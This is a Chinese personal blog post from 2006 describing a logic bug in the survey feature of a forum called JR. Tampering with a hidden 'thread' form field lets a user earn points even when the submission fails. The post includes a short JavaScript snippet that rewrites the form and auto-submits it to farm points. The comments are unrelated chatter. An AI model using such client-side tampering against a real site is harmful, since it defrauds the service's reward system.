嘟嘟老窝

上帝给了我一双黑色的眼睛,我却用它来翻白眼......

导航

« Subversion安装手记 购鼠记 »

发现JR上的一个大BUG

中午闲来无事,在JR上瞎逛,发现了[调查]栏目的一个bug。

每个页面提交调查表单时是根据表单中的一个叫做thread的hidden来决定帖子ID的,我用maxthon的javascript调试台尝试修改了thread的value后重新提交,页面跳转到error page,刷新了一下可用分,居然增加了5分。这说明JR的后台是将提交调查和增加可用分的操作分开执行的,正常情况下应该先判断调查提交正确与否后再能做增加可用分的操作,看来JR犯了一个错误,当提交后应该先判断thread的业务逻辑有效性后在进行下一步的操作,因为没有判断,导致后面的操作抛出异常。

我把代码修饰了一下,现在可以狂点鼠标就能增加可用分了

var e = document.forms[0];
e.target='_blank';
var s = document.getElementById('thread').value;
s = parseInt(s) + 1;
e.innerHTML = '<input type="hidden" id="thread" name="thread" value="" /><input type="radio" name="option" value="15" checked /><p><input type="submit" name="voteSubmit" id="voteSubmit" value="投票">';
document.getElementById('thread').value=s;
document.getElementById('voteSubmit').click();
  • 该日志的引用地址:
  • http://www.duduwolf.com/cmd.asp?act=tb&id=298
  • 2.Bpple | (home)
  • www.bpple.com/blog

    支持
  • 2006-4-13 13:18:50
  • 3.aaron | (home)
  • 请问,那个多普达575的射频现象严重吗?~我在考虑买这款手机。。欧版的有什么问题吗?
    aaronlly.ma@gmail.com
  • 2006-4-16 13:27:26
  • 4.duduwolf | (home)
  • 有射频现象,但几乎不影响使用,不过建议你买新出的577,577默认安装的是WM5,比WM3表现要好
  • 2006-4-16 15:23:33
  • 5.gudai | (home)
  • maxthon的javascript调试台 ,在哪啊,我找半天了,在maxthon的帮助里找不到任何答案
  • 2007-5-1 11:29:04
  • 6.gudai | (home)
  • 难道说的是viewpage这个插件?
    唉,真头疼。
  • 2007-5-8 23:13:13
  • 7.gudai | (home)
  • dudu老大啊,您就抽个空回复下我吧
    maxthon的javascript调试台,我实在是找不到它在哪啊
  • 2007-5-10 10:56:05

反向链接列表

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

日历

<< 2008·1 >>

Sun

Mon

Tue

Wen

Thu

Fri

Sat

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

Search

Powered By Z-Blog 1.4 SP1 Build 50824 - modify by duduwolf

Copyright 1999-2005 duduwolf.com Some Rights Reserved.